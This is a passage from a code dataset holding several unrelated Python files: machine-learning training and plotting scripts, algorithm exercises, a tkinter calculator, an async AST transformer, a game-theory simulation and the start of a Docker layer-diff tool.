return(jump_df.dropna())","repo_name":"HeilemannLab/pyErmine","sub_path":"ermine/preprocessing/preprocess_swift_data.py","file_name":"preprocess_swift_data.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"30512831745","text":"import os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport torch\nimport glob\nimport torch\nimport matplotlib.pyplot as plt\n\nniter=2000\nseed=1\noutdir='/projects/b1042/ClareLab/saya/train_record_mlp'\n\nfor fn in glob.glob('bbcar/model_performance/results_mlp/results_*.txt'):\n    try:\n        # find best performing model's parameters\n        results = pd.read_csv(fn, skiprows=1)\n        bestpf = results.sort_values('val bal acc', ascending=False).iloc[0,:]\n        C, lr = bestpf['C'], bestpf['lr']\n        if C >=1:\n            C = int(C)\n        # get feature names \n        gen_feature = fn.split('.')[0].split('/')[-1].split('_')[1]\n        # using the best parameters, find the training record for best performing model \n        train_record_fn = '%s/bbcarmlp_%s_C%s_lr%s_niter%s_seed%s.p' % (outdir, gen_feature, C, lr, niter, seed)\n        try:\n            record = torch.load(train_record_fn, map_location=torch.device('cpu'))\n            plt.plot(record['report']['loss'])\n            plt.xlabel('Epochs')\n            plt.ylabel('Loss')\n            plt.title('%s, C=%s, lr=%s' % (gen_feature, C, lr))\n            plt.savefig('bbcar/model_performance/results_mlp/learning_curve_mlp_%s_C%s_lr%s.png' % (gen_feature, C, lr))\n            plt.close()\n        except FileNotFoundError:\n            print('Could not load file: %s' % train_record_fn)\n            continue\n    except:\n        print('Could not read file %s' % fn)\n        continue\n","repo_name":"sayadennis/bbcar","sub_path":"04_modeling/cnv/exploratory_models/plot_mlp_training.py","file_name":"plot_mlp_training.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40904204909","text":"#!/usr/bin/env python\n\ndataname=\"IVUS\"\nrawpath = '/home/eikthedragonslayer/DATA/CVS_data/CVS/raw'\nmaskpath = '/home/eikthedragonslayer/DATA/CVS_data/CVS/mask'\nignore_index = -100\ngpuid= 0\n\n# --- unet params\nn_classes= 2\nbackbone = 'resnet50'\n\n# --- training params\npatch_size=224\nbatch_size=16\nnum_epochs = 100\nphases = [\"train\",\"val\"]\nvalidation_phases= [\"val\"]\n\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom skimage.transform import rescale, resize, downscale_local_mean\nfrom models.networks.UNaah import UNaah\nfrom models.loss import FocalLoss\nfrom models.utils import iou, dice_coefficient, asMinutes, timeSince\nimport os\nimport matplotlib.pyplot as plt\nimport PIL\nimport cv2\nimport pyvips\nimport numpy as np\nimport sys, glob\n\nfrom tensorboardX import SummaryWriter\n\nimport scipy.ndimage \n\nimport time\nimport math\n\nimport random\n\nfrom sklearn.metrics import confusion_matrix\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nformat_to_dtype = {\n    'uchar': np.uint8,\n    'char': np.int8,\n    'ushort': np.uint16,\n    'short': np.int16,\n    'uint': np.uint32,\n    'int': np.int32,\n    'float': np.float32,\n    'double': np.float64,\n    'complex': np.complex64,\n    'dpcomplex': np.complex128,\n}\n\n\nif(torch.cuda.is_available()):\n    print(torch.cuda.get_device_properties(gpuid))\n    torch.cuda.set_device(gpuid)\n    device = torch.device(f'cuda:{gpuid}')\nelse:\n    device = torch.device(f'cpu')\n\ndef read_this(image_file, gray_scale=False):\n    image_src = cv2.imread(image_file)\n    if gray_scale:\n        image_src = cv2.cvtColor(image_src, cv2.COLOR_BGR2GRAY)\n    else:\n        image_src = cv2.cvtColor(image_src, cv2.COLOR_BGR2RGB)\n    return image_src\n\ndef equalize_contrast(image_file, with_plot=False, gray_scale=False, bins=256):\n    image_src = read_this(image_file=image_file, gray_scale=gray_scale)\n    if not gray_scale:\n        r_image = image_src[:, :, 0]\n        g_image = image_src[:, :, 1]\n        b_image = image_src[:, :, 2]\n\n        r_image_eq = enhance_contrast(image_matrix=r_image)\n        g_image_eq = enhance_contrast(image_matrix=g_image)\n        b_image_eq = enhance_contrast(image_matrix=b_image)\n\n        image_eq = np.dstack(tup=(r_image_eq, g_image_eq, b_image_eq))\n        cmap_val = None\n    else:\n        image_eq = enhance_contrast(image_matrix=image_src)\n        cmap_val = 'gray'\n\n    if with_plot:\n        fig = plt.figure(figsize=(10, 20))\n\n        ax1 = fig.add_subplot(2, 2, 1)\n        ax1.axis(\"off\")\n        ax1.title.set_text('Original')\n        ax2 = fig.add_subplot(2, 2, 2)\n        ax2.axis(\"off\")\n        ax2.title.set_text(\"Equalized\")\n\n        ax1.imshow(image_src, cmap=cmap_val)\n        ax2.imshow(image_eq, cmap=cmap_val)\n        return True\n    return image_eq\n\ndef enhance_contrast(image_matrix, bins=256):\n    image_flattened = image_matrix.flatten()\n    image_hist = np.zeros(bins)\n\n    # frequency count of each pixel\n    for pix in image_matrix:\n        image_hist[pix] += 1\n\n    # cummulative sum\n    cum_sum = np.cumsum(image_hist)\n    norm = (cum_sum - cum_sum.min()) * 255\n    # normalization of the pixel values\n    n_ = cum_sum.max() - cum_sum.min()\n    uniform_norm = norm / n_\n    uniform_norm = uniform_norm.astype('int')\n\n    # flat histogram\n    image_eq = uniform_norm[image_flattened]\n    # reshaping the flattened matrix to its original shape\n    image_eq = np.reshape(a=image_eq, newshape=image_matrix.shape)\n\n    return image_eq\n\n\nclass Dataset(object):\n    def __init__(self, fname, img_path, mask_path, img_transform=None, mask_transform = None, edge_weight= False):\n        \n        self.fname=fname\n        self.mask_path = mask_path\n        self.img_path = img_path\n        self.edge_weight = edge_weight\n        \n        self.img_transform=img_transform\n        self.mask_transform = mask_transform\n        \n        infile = open(self.fname,'r')\n        self.img_lines = infile.readlines()\n        self.img_lines = [line.strip() for line in self.img_lines]\n        infile.close()\n        self.nitems = len(self.img_lines)\n        \n    def __getitem__(self, index):\n        #img = plt.imread(os.path.join(self.img_path,self.img_lines[index]+'.jpeg'))\n        #img = pyvips.Image.new_from_file(os.path.join(self.img_path,self.img_lines[index]+'.jpeg'))\n        #img = img.hist_equal()\n        #np_3d = np.ndarray(buffer=img.write_to_memory(),\n        #                   dtype=format_to_dtype[img.format],\n        #                   shape=[img.height, img.width, img.bands])\n        img = equalize_contrast(os.path.join(self.img_path,self.img_lines[index]+'.jpeg'))\n        img = img.astype('uint8')\n        mask1 = np.load(os.path.join(self.mask_path,'2',self.img_lines[index]+'.npy'))\n        mask1 = mask1.astype('uint8')\n        mask2 = np.load(os.path.join(self.mask_path,'4',self.img_lines[index]+'.npy'))\n        mask2 = mask2.astype('uint8')\n        \n        mask1 = mask1[:,:,None].repeat(3,axis=2)\n        mask2 = mask2[:,:,None].repeat(3,axis=2)\n        \n        seed = random.randrange(sys.maxsize) #get a random seed so that we can reproducibly do the transofrmations\n        if self.img_transform is not None:\n            random.seed(seed) # apply this seed to img transforms\n            img_new = self.img_transform(img)\n\n        if self.mask_transform is not None:\n            random.seed(seed) \n            mask1_new = self.mask_transform(mask1)\n            mask1_new = np.asarray(mask1_new)[:,:,0].squeeze()#[:,:,0:1]\n            random.seed(seed)\n            mask2_new = self.mask_transform(mask2)\n            mask2_new = np.asarray(mask2_new)[:,:,0].squeeze()#[:,:,0:1]\n            random.seed(seed)\n\n        return img_new, mask1_new, mask2_new\n    \n    def __len__(self):\n        return self.nitems\n\n\n#note that since we need the transofrmations to be reproducible for both masks and images\n#we do the spatial transformations first, and afterwards do any color augmentations\nimg_transform = transforms.Compose([\n    transforms.ToPILImage(),\n    transforms.Resize((patch_size,patch_size)),\n    transforms.RandomVerticalFlip(),\n    transforms.RandomHorizontalFlip(),\n    transforms.RandomCrop(size=(patch_size,patch_size),pad_if_needed=True), #these need to be in a reproducible order, first affine transforms and then color\n    transforms.RandomResizedCrop(size=patch_size),\n    transforms.RandomRotation(180),\n    transforms.ColorJitter(brightness=0, contrast=0.3, saturation=0, hue=0),\n    transforms.RandomGrayscale(),\n    transforms.ToTensor()\n    ])\n\n\nmask_transform = transforms.Compose([\n    transforms.ToPILImage(),\n    transforms.Resize((patch_size,patch_size)),\n    transforms.RandomVerticalFlip(),\n    transforms.RandomHorizontalFlip(),\n    transforms.RandomCrop(size=(patch_size,patch_size),pad_if_needed=True), #these need to be in a reproducible order, first affine transforms and then color\n    transforms.RandomResizedCrop(size=patch_size,interpolation=PIL.Image.NEAREST),\n    transforms.RandomRotation(180),\n    ])\n\nfor k in range(5):\n    model = UNaah(backbone_name=backbone,pretrained=True,classes=n_classes).to(device)\n    print(f\"total params: \\t{sum([np.prod(p.size()) for p in model.parameters()])}\")\n    dataset={}\n    dataLoader={}\n    for phase in phases: \n        dataset[phase]=Dataset(f\"/home/eikthedragonslayer/DATA/CVS_data/CVS/{phase}_{k}.txt\",rawpath,maskpath, img_transform=img_transform, mask_transform = mask_transform)\n        dataLoader[phase]=DataLoader(dataset[phase], batch_size=batch_size, \n                                    shuffle=True, num_workers=16, pin_memory=True) \n\n\n    optim = torch.optim.Adam(model.parameters(), lr=0.0001)\n    criterion1 = nn.functional.cross_entropy\n    criterion2 = FocalLoss()\n    writer=SummaryWriter()\n    best_loss_on_test = np.Infinity\n    start_time = time.time()\n    for epoch in range(num_epochs):\n        #zero out epoch based performance variables \n        all_acc = {key: 0 for key in phases} \n        all_loss = {key: torch.zeros(0).to(device) for key in phases}\n        cmatrix = {key: np.zeros((2,2)) for key in phases}\n\n        for phase in phases: #iterate through both training and validation states\n\n            if phase == 'train':\n                model.train()\n            else:\n                model.eval()\n\n            for ii , (X, y1, y2) in enumerate(dataLoader[phase]): #for each of the batches\n                X = X.to(device)  # [Nbatch, 3, H, W]\n                y1 = y1.type('torch.LongTensor').to(device)  # [Nbatch, H, W] with class indices (0, 1)\n                y2 = y2.type('torch.LongTensor').to(device)\n                gt_dice = dice_coefficient(y1.cpu().numpy(), y2.cpu().numpy())\n                weight = gt_dice / 2\n                with torch.set_grad_enabled(phase == 'train'): \n                                                               \n                    p1, p2 = model(X)  # [N, Nclass, H, W]\n                    \n                    loss_matrix1 = criterion1(p1+p2, y1)\n                    loss_matrix2 = criterion1(p2+p1, y2)\n                    loss1 = loss_matrix1.mean()\n                    loss2 = loss_matrix2.mean()\n                    #loss2 = criterion2(p2+p1, y2)\n                    loss = weight * loss1 + (1-weight) * loss2\n                    \n                    if phase==\"train\": #back propogation\n                        optim.zero_grad()\n                        loss.backward()\n                        optim.step()\n                        train_loss = loss\n\n\n                    all_loss[phase]=torch.cat((all_loss[phase],loss.detach().view(1,-1)))\n\n                    if phase in validation_phases: #if this phase is part of validation, compute confusion matrix\n                        p=(p1+p2)[:,:,:,:].detach().cpu().numpy()\n                        cpredflat=np.argmax(p,axis=1).flatten()\n                        yflat=y1.cpu().numpy().flatten()\n\n                        cmatrix[phase]=cmatrix[phase]+confusion_matrix(yflat,cpredflat,labels=range(n_classes))\n\n            all_acc[phase]=(cmatrix[phase]/cmatrix[phase].sum()).trace()\n            all_loss[phase] = all_loss[phase].cpu().numpy().mean()\n            \n            #save metrics to tensorboard\n            writer.add_scalar(f'{phase}/loss', all_loss[phase], epoch)\n            if phase in validation_phases:\n                writer.add_scalar(f'{phase}/acc', all_acc[phase], epoch)\n            \n\n        print('%s ([%d/%d] %d%%), train loss: %.4f test loss: %.4f' % (timeSince(start_time, (epoch+1) / num_epochs), \n                                                     epoch+1, num_epochs ,(epoch+1) / num_epochs * 100, all_loss[\"train\"], all_loss[\"val\"]),end=\"\")    \n\n        #if current loss is the best we've seen, save model state with all variables\n        #necessary for recreation\n        if all_loss[\"val\"] < best_loss_on_test:\n            best_loss_on_test = all_loss[\"val\"]\n            print(\"  **\")\n            state = {'epoch': epoch + 1,\n             'model_dict': model.state_dict(),\n             'optim_dict': optim.state_dict(),\n             'best_loss_on_test': all_loss,\n             'n_classes': n_classes,}\n\n\n            torch.save(state, f\"./save/{dataname}_{k}_unaah_{backbone}_L_model.pt\")\n        else:\n            print(\"\")\n\n\n\n","repo_name":"vkola-lab/unaah","sub_path":"IVUS/IVUS_unaah.py","file_name":"IVUS_unaah.py","file_ext":"py","file_size_in_byte":11233,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"12006904211","text":"from typing import List\r\n\"\"\"\r\n518. 零钱兑换 II\r\nhttps://leetcode-cn.com/problems/coin-change-2/\r\n输入: amount = 5, coins = [1, 2, 5]\r\n输出: 4\r\n\"\"\"\r\n\r\n\r\ndef change(amount: int, coins: List[int]) -> int:\r\n    dp = [0] * (amount+1)\r\n    dp[0] = 1\r\n    for j in coins:\r\n        for i in range(1, amount+1):\r\n            if i >= j:\r\n                dp[i] = dp[i] + dp[i-j]\r\n    return dp[-1]\r\n\r\n\r\nclass Solution:\r\n    amount = 5\r\n    coins = [1, 2, 5]\r\n    change(amount, coins)","repo_name":"longshirong/python","sub_path":"LeetCode/dynamic/backpack/change.py","file_name":"change.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38428517210","text":"from tkinter import*\n\nwindow = Tk()\nwindow.title(\"Simple Calculator\")\n\n\noperator = \"\"\ntemp_results = \"\"\ntext_input = StringVar()\nkey_list = [\"C\",\"+/-\",\"/\",\"*\",7,8,9,\"-\",4,5,6,\"+\",1,2,3,\"=\",0,\".\"]\nbtn_dict = {}\neval_press = False\neval_error = False\n\ndef center_window(win):\n    win.update_idletasks()\n    width = win.winfo_width()\n    height = win.winfo_height()\n    x = (win.winfo_screenwidth() //2) - (width//2)\n    y = (win.winfo_screenheight() //2) - (height//2)\n    win.geometry('{}x{}+{}+{}'.format(width,height,x,y))\n\ndef isMathOperatorIn():\n    global text_input\n\n    temp = text_input.get()\n    if \"+\" in temp and temp.rindex(\"+\") >0:\n        return True\n    elif \"-\" in temp and temp.rindex(\"-\") >0:\n        return True\n    elif \"*\" in temp:\n        return True\n    elif \"/\" in temp:\n        return True\n    else:\n        return False\n\ndef isMathOpAdd():\n    global text_input\n    return text_input.get().rfind(\"+\") != -1\n\ndef isMathOpSub():\n    global text_input\n    return text_input.get().rfind(\"-\") != -1 and text_input.get().rfind(\"-\") != 0\n\ndef isMathOpMult():\n    global text_input\n    return text_input.get().rfind(\"*\") != -1\n\ndef isMathOpDiv():\n    global text_input\n    return text_input.get().rfind(\"/\") != -1\n\ndef MathOpSignSwap(display_txt):\n    if isMathOpAdd():\n        return display_txt.replace(\"+\",\"-\")\n    else:\n        temp = convert_to_list(display_txt)\n        temp[display_txt.rindex(\"-\")] = \"+\"\n        return convert_to_str(temp)\n    \ndef btn_click(numbers):\n    global operator\n    global eval_press\n\n    if eval_error:\n        operator += \"\"\n    else:\n        if (eval_press and str(numbers).isnumeric()) or (eval_press and operator.isdecimal()):\n            operator += \"\"\n        else:        \n            if numbers == \"+\" or numbers == \"-\" or numbers == \"/\" or numbers == \"*\":\n                if isMathOperatorIn() == False:\n                    operator = operator + str(numbers)\n            else:\n                operator += str(numbers)\n            eval_press = False\n                \n    text_input.set(operator)\n    \ndef btn_clear_display():\n    global operator\n    global eval_press\n    global eval_error\n    \n    operator = \"\"\n    text_input.set(\"\")\n    eval_press = False\n    eval_error = False\n\ndef removeNegSign(display_txt):\n    temp = convert_to_list(display_txt)\n    temp[0]=\"\"\n    return convert_to_str(temp)\n\ndef convert_to_list(str_display):\n    temp = []\n    temp[:0] = str_display\n    return temp\n\ndef convert_to_str(list_display):\n    temp = \"\"\n    return temp.join(list_display)\n\ndef btn_one_char_clear():\n    global operator\n    temp = convert_to_list(operator)\n    temp.pop()\n    operator = convert_to_str(temp)\n    text_input.set(operator)\n    \ndef btn_pos_neg():\n    global operator\n    global text_input\n    global eval_error\n    operator = text_input.get()\n    \n    if eval_error:\n        operator += \"\"\n    elif isMathOperatorIn() == False:\n        if \"-\" in operator and operator.index(\"-\") == 0:\n            operator = removeNegSign(operator)\n        else:\n            operator = \"-\"+operator\n    else:\n        if isMathOpAdd() or isMathOpSub():\n            operator = MathOpSignSwap(operator)\n        elif isMathOpMult() or isMathOpDiv():\n            if operator.find(\"-\") == 0:\n                operator = removeNegSign(operator)\n            else:\n                operator = \"-\"+operator\n    text_input.set(operator)\n            \ndef btn_equals_input():\n    global operator\n    global eval_press\n    global eval_error\n\n    if eval_error:\n        answer = \"E\"\n        eval_error = True\n    else:\n        try:\n            answer = str(eval(operator))\n        except ZeroDivisionError:\n            answer = \"E\"\n            eval_error = True\n    text_input.set(answer)\n    operator = answer\n    eval_press = True\n    \n\ndef create_btn(btn_val,row_num, col_num,spec_bool):\n    global btn_dict\n    global window\n    w = 30\n    h = 30\n    \n    if btn_val == \"C\":\n        btn_dict.update({btn_val: Button(window,padx = w, pady = h, bd = 8,fg = 'black',font =('arial',20,'bold'),\n                            text=btn_val,command= lambda:btn_clear_display()).grid(row=row_num,column=col_num)})\n        window.bind(\"<Escape>\", lambda i : btn_clear_display())\n    elif btn_val == \"+/-\":\n        btn_dict.update({btn_val: Button(window,padx = w, pady = h, bd = 8,fg = 'black',font =('arial',20,'bold'),\n                            text=btn_val,command= lambda:btn_pos_neg()).grid(row=row_num,column=col_num)})\n        #window.bind(\"<BackSpace>\", lambda i : btn_one_char_clear())\n    elif btn_val == \"=\":\n        btn_dict.update({btn_val: Button(window,padx = w, pady = (2*h+10), bd = 8,fg = 'black',font =('arial',20,'bold'),\n                            text=btn_val,command= lambda:btn_equals_input()).grid(row=row_num,rowspan = 2,column=col_num)})\n        window.bind(\"<Return>\", lambda i : btn_equals_input())\n    else:\n        if btn_val == \"0\":\n            btn_dict.update({btn_val: Button(window,padx = 2*w, pady = 2*h, bd = 8,fg = 'black',font =('arial',20,'bold'),\n                                text=btn_val,command= lambda:btn_click(btn_val)).grid(row=row_num,column=col_num, columnspan = 2)})\n        else:\n            btn_dict.update({btn_val: Button(window,padx = w, pady = h, bd = 8,fg = 'black',font =('arial',20,'bold'),\n                                text=btn_val,command= lambda:btn_click(btn_val)).grid(row=row_num,column=col_num)})\n        window.bind(btn_val, lambda i: btn_click(btn_val))\n\n\n\n#center_window(window)\ntxt_display = Entry(window, font =('arial',20,'bold'),textvariable = text_input, bd = 10, insertwidth = 4,\n                    bg = \"powder blue\", justify = 'right').grid(row=1,columnspan = 4)\npos_r = 2\npos_c = 0\n                         \nfor btn_key in key_list:\n    if pos_c % 4 == 0 and pos_c > 0:\n        pos_r +=1\n        pos_c = 0\n    if btn_key == \"C\" or btn_key == \"+/-\" or btn_key == \"=\":\n        create_btn(btn_key, pos_r,pos_c,True)\n    else:\n        if btn_key == \".\":\n            create_btn(btn_key,pos_r, (pos_c + 1), False)\n        else:\n            create_btn(btn_key,pos_r,pos_c,False)\n    pos_c += 1\n\nwindow.mainloop()\n\n","repo_name":"nasaae2014/Self-Taught_Coding_Progress","sub_path":"simple_calculatorv1.2_12-22-20.py","file_name":"simple_calculatorv1.2_12-22-20.py","file_ext":"py","file_size_in_byte":6132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74854835881","text":"import sys\nimport ast\nimport os.path\n\nfrom covador.compat import COROUTINE, ASYNC_AWAIT, PY2\n\nGEN_CACHE = {}\n\n\ndef get_fn_param(name):\n    return name[len('__async__'):]\n\n\ndef get_await_param(name):\n    return name[len('__await__'):]\n\n\nclass AsyncTransformer(ast.NodeTransformer):\n    def __init__(self, params):\n        self.params = params\n\n    def visit_FunctionDef(self, node):\n        args = node.args.args\n        if PY2:  # pragma: no py3 cover\n            first_arg_name = args and args[0].id\n        else:  # pragma: no py2 cover\n            first_arg_name = args and args[0].arg\n\n        if first_arg_name and first_arg_name.startswith('__async__'):\n            if self.params[get_fn_param(first_arg_name)]:  # pragma: no py2 cover\n                if ASYNC_AWAIT:  # pragma: no coro cover\n                    node = ast.AsyncFunctionDef(**vars(node))\n                else:  # pragma: no async cover\n                    node.decorator_list.append(ast.Name(id='coroutine', ctx=ast.Load(),\n                                                        lineno=node.lineno-1, col_offset=node.col_offset))\n            args.pop(0)\n        return self.generic_visit(node)\n\n    def visit_Call(self, node):\n        if type(node.func) is ast.Name and node.func.id.startswith('__await__'):\n            if self.params[get_await_param(node.func.id)]:  # pragma: no py2 cover\n                if ASYNC_AWAIT:  # pragma: no coro cover\n                    return ast.Await(value=node.args[0], lineno=node.lineno, col_offset=node.col_offset)\n                else:  # pragma: no async cover\n                    return ast.YieldFrom(value=node.args[0], lineno=node.lineno, col_offset=node.col_offset)\n            else:\n                return node.args[0]\n        return self.generic_visit(node)\n\n\ndef get_ast(fname):\n    with open(fname) as f:\n        return ast.parse(f.read(), fname)\n\n\ndef transform(fname, params):\n    tree = get_ast(fname)\n    transformed = AsyncTransformer(params).visit(tree)\n    if COROUTINE and not ASYNC_AWAIT:  # pragma: no cover\n        transformed.body.insert(0, ast.ImportFrom(\n            module='asyncio',\n            lineno=1,\n            col_offset=0,\n            names=[ast.alias(name='coroutine', asname=None)]))\n\n    return transformed\n\n\ndef execute(module, params):\n    key = module, params\n    try:\n        return GEN_CACHE[key]\n    except KeyError:\n        pass\n\n    parts = module.split('.')\n    parts[-1] += '.py'\n\n    fname = os.path.join(os.path.dirname(__file__), *parts[1:])\n    tree = transform(fname, dict(params))\n    code = compile(tree, fname, 'exec')\n    ctx = {}\n    exec(code, ctx, ctx)\n    GEN_CACHE[key] = ctx\n    return ctx\n\n\ndef import_module(module, params):\n    ctx = execute(module, params)\n    m = type(sys)(module)\n    vars(m).update(ctx)\n    m.params = params\n    sys.modules[module] = m\n    root, _, mname = module.partition('.')\n    setattr(sys.modules[root], mname, m)\n","repo_name":"baverman/covador","sub_path":"covador/ast_transformer.py","file_name":"ast_transformer.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"33531240401","text":"class Solution:\n    def removeDuplicates(self, nums: List[int]) -> int:\n        if len(nums)==1:\n            return 1\n        previous=2\n        for i in range(2,len(nums)):\n            if nums[i]>nums[previous-2]:\n                nums[previous]=nums[i]\n                previous+=1\n        return previous\n                \n\n","repo_name":"sandesh32/LeetCode","sub_path":"80-remove-duplicates-from-sorted-array-ii/80-remove-duplicates-from-sorted-array-ii.py","file_name":"80-remove-duplicates-from-sorted-array-ii.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25580574099","text":"# https://www.slideshare.net/hcpc_hokudai/advanced-dp-2016\n# これもスライド図示がめっちゃわかりやすい\n# 要はDPが区間クエリの処理を含むのでそこをセグ木で高速化できるという話\n\n\nclass SegmentTree:\n    def __init__(self, ls: list, segfunc, identity_element):\n        self.ide = identity_element\n        self.func = segfunc\n        self.n_origin = len(ls)\n        self.num = 2 ** (self.n_origin - 1).bit_length()  # n以上の最小の2のべき乗\n        self.tree = [self.ide] * (2 * self.num - 1)  # −1はぴったりに作るためだけど気にしないでいい\n        for i, l in enumerate(ls):  # 木の葉に代入\n            self.tree[i + self.num - 1] = l\n        for i in range(self.num - 2, -1, -1):  # 子を束ねて親を更新\n            self.tree[i] = segfunc(self.tree[2 * i + 1], self.tree[2 * i + 2])\n\n    def __getitem__(self, idx):  # オリジナル要素にアクセスするためのもの\n        if isinstance(idx, slice):\n            start = idx.start if idx.start else 0\n            stop = idx.stop if idx.stop else self.n_origin\n            l = start + self.num - 1\n            r = l + stop - start\n            return self.tree[l:r:idx.step]\n        elif isinstance(idx, int):\n            i = idx + self.num - 1\n            return self.tree[i]\n\n    def update(self, i, x):\n        '''i番目の要素をxに変更する(木の中間ノードも更新する) O(logN)'''\n        i += self.num - 1\n        self.tree[i] = x\n        while i:  # 木を更新\n            i = (i - 1) // 2\n            self.tree[i] = self.func(self.tree[i * 2 + 1],\n                                     self.tree[i * 2 + 2])\n\n    def query(self, l, r):\n        '''区間[l,r)に対するクエリをO(logN)で処理する。例えばその区間の最小値、最大値、gcdなど'''\n        if r <= l:\n            return ValueError('invalid index (l,rがありえないよ)')\n        l += self.num\n        r += self.num\n        res_right = []\n        res_left = []\n        while l < r:  # 右から寄りながら結果を結合していくイメージ\n            if l & 1:\n                res_left.append(self.tree[l - 1])\n                l += 1\n            if r & 1:\n                r -= 1\n                res_right.append(self.tree[r - 1])\n            l >>= 1\n            r >>= 1\n        res = self.ide\n        # 左右の順序を保って結合\n        for x in res_left:\n            res = self.func(x, res)\n        for x in reversed(res_right):\n            res = self.func(res, x)\n        return res\n\n\n# 入力\nn = 40\nm = 6\ns = [20, 1, 10, 20, 15, 30]\nt = [30, 10, 20, 30, 25, 40]\n\n# 0basedindexに\n# tは半開区間のためそのまま\ns = [ss - 1 for ss in s]\nINF = 10**6\ndp = SegmentTree([0] + [INF] * (n - 1), min,\n                 identity_element=INF)  # DP配列をセグ木に乗っける(初期化済み)\n\nfor ss, tt in zip(s, t):\n    mi = dp.query(ss, tt)\n    dp.update(tt - 1, mi + 1)\n\nprint(dp[n - 1])  # ok\n","repo_name":"masakiaota/kyoupuro","sub_path":"practice/ants_book/186_minimizing_maximizer.py","file_name":"186_minimizing_maximizer.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"5910707762","text":"import os\n\ninp = open(\"input.txt\", \"r\")\n\nilist = inp.read().split(\" |\\n\")\n\ninp.close()\n\nfor i in range(len(ilist)-1):\n\n    xd = open(\"xd.txt\", \"w\")\n    xd.write(ilist[i])\n    xd.close()\n    os.system('./the1.exe <xd.txt>> output.txt')\n    o = open(\"output.txt\", \"a\")\n    o.write(\" |\\n\")\n    o.close()\n\nfile1 = open('case1.txt', 'r')\nfile2 = open('output.txt', 'r')\na1 = file1.read()\na2 = file2.read()\ncase1 = a1.split(\" |\\n\")\nouts = a2.split(\" |\\n\")\n\nfor i in range(len(outs)-1):\n    if outs[i] == case1[i]:\n        print(\"Test \"+str(i+1)+\" Passed!\")\n\n    else:\n        print(\"Test \"+str(i+1)+\" Failed!\")\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"gurhanadiguzel/METU-Ceng","sub_path":"CENG140/THE/THE1/Tester/Tester_1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29857044641","text":"import sys\nimport pprint\nimport strategies\n\n\nstrategy = [strategies.AlwaysDefect, strategies.AlwaysCooperate, strategies.TitForTat,\n              strategies.RandomStrategy, strategies.PeriodicCCD, strategies.PeriodicDDC, strategies.ScepticStrategy]\n\nfor i in range(len(strategy) - 1):\n    p1Strategy = strategy[i]\n    print(\"P1 chose strategy: \", p1Strategy.__name__)\n\n    for j in range(len(strategy)):\n        p2Strategy = strategy[j]\n        print(\"P2 chose strategy: \", p2Strategy.__name__)\n        p1Points, p2Points = 0, 0\n        history = []\n\n        for r in range(200):\n            p1Pick = p1Strategy(history)\n            p2Pick = p2Strategy([e[::-1] for e in history])\n\n            if (p1Pick == p2Pick):\n                if (p1Pick == 0):\n                    p1Points += 1\n                    p2Points += 1\n                else:\n                    p1Points += 3\n                    p2Points += 3\n            else:\n                if (p1Pick == 0):\n                    p1Points += 5\n                elif (p2Pick == 0):\n                    p2Points += 5\n            history.append([p1Pick, p2Pick])\n        print(history)\n\n        if(p1Points > p2Points):\n            print(\"winner is: \", p1Strategy.__name__)\n        elif(p1Points < p2Points):\n            print(\"winner is: \", p2Strategy.__name__)\n        elif(p1Points == p2Points):\n            print(\"tie\")\n        print(\"-----------------------------------------------------------------------------------------\")\n\n\n","repo_name":"Fildou/python_projects","sub_path":"umela_inteligencia/Axelrod/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71941308839","text":"\"\"\"use a hash json file and new saved archive image to check  layers should to keep\nor to remove if the bases\n\"\"\"\nfrom io import BytesIO\nimport json\nimport os\nimport tempfile\nfrom pathlib import Path\nfrom tarfile import open as tar_open\nfrom typing import List, Optional, Tuple, Union, IO\n\nfrom offline_trans.exceptions import DockerArchiveNotFound\n\nfrom .docker_archive import DockerArchive, DockerManifest\nfrom .util import (TarCategory, get_logger, get_manifest_json,\n                   get_running_image_hashes, get_tar_path, get_tarinfo,\n                   run_process, set_current_dir)\n\nlogger = get_logger(__name__)\n\ndef pre_check(base_layer_hashes: List[str], curre_layer_hashes: List[str]) -> Tuple[int, Optional[str], set]:\n    \"\"\"check if all requirements statisfied\n    if str returned, prompt it to user as a remind\n    return layers that not need to trans\"\"\"\n    # no different found\n    if not (set(curre_layer_hashes) - set(base_layer_hashes) or set(base_layer_hashes) - set(curre_layer_hashes)):\n        return 1,f'no different layers', set()\n    elif not (set(base_layer_hashes) & set(curre_layer_hashes)):\n        return 2,f'no same layers', set(curre_layer_hashes)\n    # keep the same\n    return 0,\"\", set(base_layer_hashes) & set(curre_layer_hashes)\n\n\ndef export_docker_diff(image_name: str, output_dir: str=\"\") -> Union[str, Path]:\n    \"\"\"export docker layers to output file path\"\"\"\n    if output_dir:\n        set_current_dir(output_dir)\n\n    manifest_path = get_manifest_json(image_name) \n    logger.info(f\"manifest path {manifest_path}\")\n    if not manifest_path.exists():\n        raise DockerArchiveNotFound(f'base manifest {manifest_path} not found')\n    base_manifest = DockerManifest(manifest_path)\n    current_layer_hashes = get_running_image_hashes(image_name)\n\n    status, reason, keeped_set = pre_check(base_manifest.layer_hashes, current_layer_hashes)\n    